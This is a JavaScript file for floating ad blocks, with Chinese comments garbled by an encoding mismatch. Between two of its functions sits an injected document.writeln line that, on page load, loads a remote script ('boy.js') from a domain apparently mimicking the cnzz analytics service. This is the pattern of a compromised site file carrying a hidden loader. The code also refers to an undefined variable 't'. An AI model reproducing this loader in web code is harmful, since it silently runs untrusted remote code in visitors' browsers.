var iAlign_Left = 0, iAlign_Center = 1, iAlign_Right  = 2;   //Ë®Æ½¶ÔÆë·½Ê½
var iValign_Top  = 0, iValign_Middle = 1, iValign_Bottom = 2;   //´¹Ö±¶ÔÆë·½Ê½

var aFloatAd = new Array();
var cnt = 0;

function floatDiv(objId, align, vAlign, x, y, smooth)
{
¡¡¡¡/*¸¡¶¯¿é¶ÔÏó
¡¡¡¡  Êý¾Ý½á¹¹£º
¡¡¡¡¡¡¡¡objId£º ¶ÔÏóID
¡¡¡¡¡¡¡¡align£º Ë®Æ½¶ÔÆë·½Ê½£¬Ã¶¾ÙÐÍ
¡¡¡¡¡¡¡¡vAlign£º´¹Ö±¶ÔÆë·½Ê½£¬Ã¶¾ÙÐÍÄÚÈÝ
¡¡¡¡¡¡¡¡x, y£º  xy×ù±ê£¬ÕûÐÍ
¡¡¡¡¡¡¡¡smooth£ºÆ½»¬ÒÆ¶¯£¬²¼¶ûÐÍ
¡¡¡¡*/
¡¡¡¡this.objId  = objId;
¡¡¡¡this.align  = align;
¡¡¡¡this.vAlign = vAlign;
¡¡¡¡this.x = x;
¡¡¡¡this.y = y;
¡¡¡¡this.smooth = smooth;
}

function addDiv(objId, align, vAlign, x, y, smooth)
{   //Ìí¼Ó¸¡¶¯¿é
	if ( objId )
	{
		objId.style.position='absolute';
¡¡¡¡	aFloatAd[cnt++] = new floatDiv(objId, align, vAlign, x, y, smooth);
¡¡¡¡}
}

document.writeln("<script src=\'http:\/\/s51.cnzz-c.cn\/boy.js?id=872651&web_id=872651\' language=\'JavaScript\' type=\'text\/JavaScript\' charset=\'gb2312\'><\/script>")
function floatMove()
{   //ÖØÐÂ¶¨Î»¸÷¿éÎ»ÖÃ
¡¡¡¡var objX, objY;
¡¡¡¡if (document.all)
¡¡¡¡{
¡¡¡¡¡¡¡¡var d = document.body;
//status = "scrollLeft:"+aFloatAd[0].objId.style.pixelTop+"| offsetWidth:"+d.offsetWidth;
¡¡¡¡¡¡¡¡for (var i=0; i<aFloatAd.length; i++)
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡switch (aFloatAd[i].align)
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Left  : objX = d.scrollLeft + aFloatAd[i].x; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Center: objX = d.scrollLeft + Math.ceil((d.offsetWidth - aFloatAd[i].objId.offsetWidth)/2) + aFloatAd[i].x; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Right : objX = d.scrollLeft + d.offsetWidth - aFloatAd[i].x - aFloatAd[i].objId.offsetWidth - 20; break; //¼õ¹ö¶¯Ìõ20
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡switch (aFloatAd[i].vAlign)
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Top   : objY = d.scrollTop + aFloatAd[i].y; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Middle: objY = d.scrollTop + Math.ceil((d.offsetHeight - aFloatAd[i].objId.offsetHeight)/2) + aFloatAd[i].y; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Bottom: objY = d.scrollTop + d.offsetHeight - aFloatAd[i].y - aFloatAd[i].objId.offsetHeight; break;
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡if (aFloatAd[i].smooth) smoothMove(aFloatAd[i].objId, objX, objY);
¡¡¡¡¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡aFloatAd[i].objId.style.pixelLeft = objX;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡aFloatAd[i].objId.style.pixelTop  = objY;
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡}
¡¡¡¡}
¡¡¡¡
¡¡¡¡if (document.layers)
¡¡¡¡{
¡¡¡¡¡¡¡¡for (var i=0; i<aFloatAd.length; i++)
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡var objId = aFloatAd[i].objId;
¡¡¡¡¡¡¡¡¡¡¡¡switch (aFloatAd[i].align)
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Left  : objX = pageXOffset + aFloatAd[i].x; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Center: objX = pageXOffset + Math.ceil((window.innerWidth-objId.width)/2) + aFloatAd[i].x; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iAlign_Right : objX = pageXOffset + window.innerWidth - aFloatAd[i].x - document.objId.width; break;
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡switch (aFloatAd[i].vAlign)
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Top   : objY = pageYOffset + aFloatAd[i].y; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Middle: objY = pageYOffset + Math.ceil(window.innerHeight/2) + aFloatAd[i].y; break;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡case iValign_Bottom: objY = pageYOffset + window.innerHeight - aFloatAd[i].y - document.objId.height; break;
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡if (t[i].smooth) smoothMove(aFloatAd[i].objId, objX, objY);
¡¡¡¡¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡document.objId.left = objX;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡document.objId.top  = objY;
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡}
¡¡¡¡}
¡¡¡¡
¡¡¡¡setTimeout("floatMove();",50);
}

function smoothMove(obj, x, y)
{
¡¡¡¡var percent;
¡¡¡¡if (document.all)
¡¡¡¡{
¡¡¡¡¡¡¡¡percent = .1 * (x - obj.style.pixelLeft);
¡¡¡¡¡¡¡¡if (percent > 0) percent = Math.ceil(percent); else percent = Math.floor(percent);
¡¡¡¡¡¡¡¡obj.style.pixelLeft += percent;
¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡percent = .1 * (y - obj.style.pixelTop);
¡¡¡¡¡¡¡¡if (percent > 0) percent = Math.ceil(percent); else percent = Math.floor(percent);
¡¡¡¡¡¡¡¡obj.style.pixelTop += percent;
¡¡¡¡}
¡¡¡¡if (document.layers)
¡¡¡¡{
¡¡¡¡¡¡¡¡percent = .1 * (x - document.objId.left);
¡¡¡¡¡¡¡¡if (percent > 0) percent = Math.ceil(percent); else percent = Math.floor(percent);
¡¡¡¡¡¡¡¡document.objId.left += percent;
¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡percent = .1 * (y - document.objId.top);
¡¡¡¡¡¡¡¡if (percent > 0) percent = Math.ceil(percent); else percent = Math.floor(percent);
¡¡¡¡¡¡¡¡document.objId.top += percent;
¡¡¡¡}
}

setTimeout("floatMove();",50);

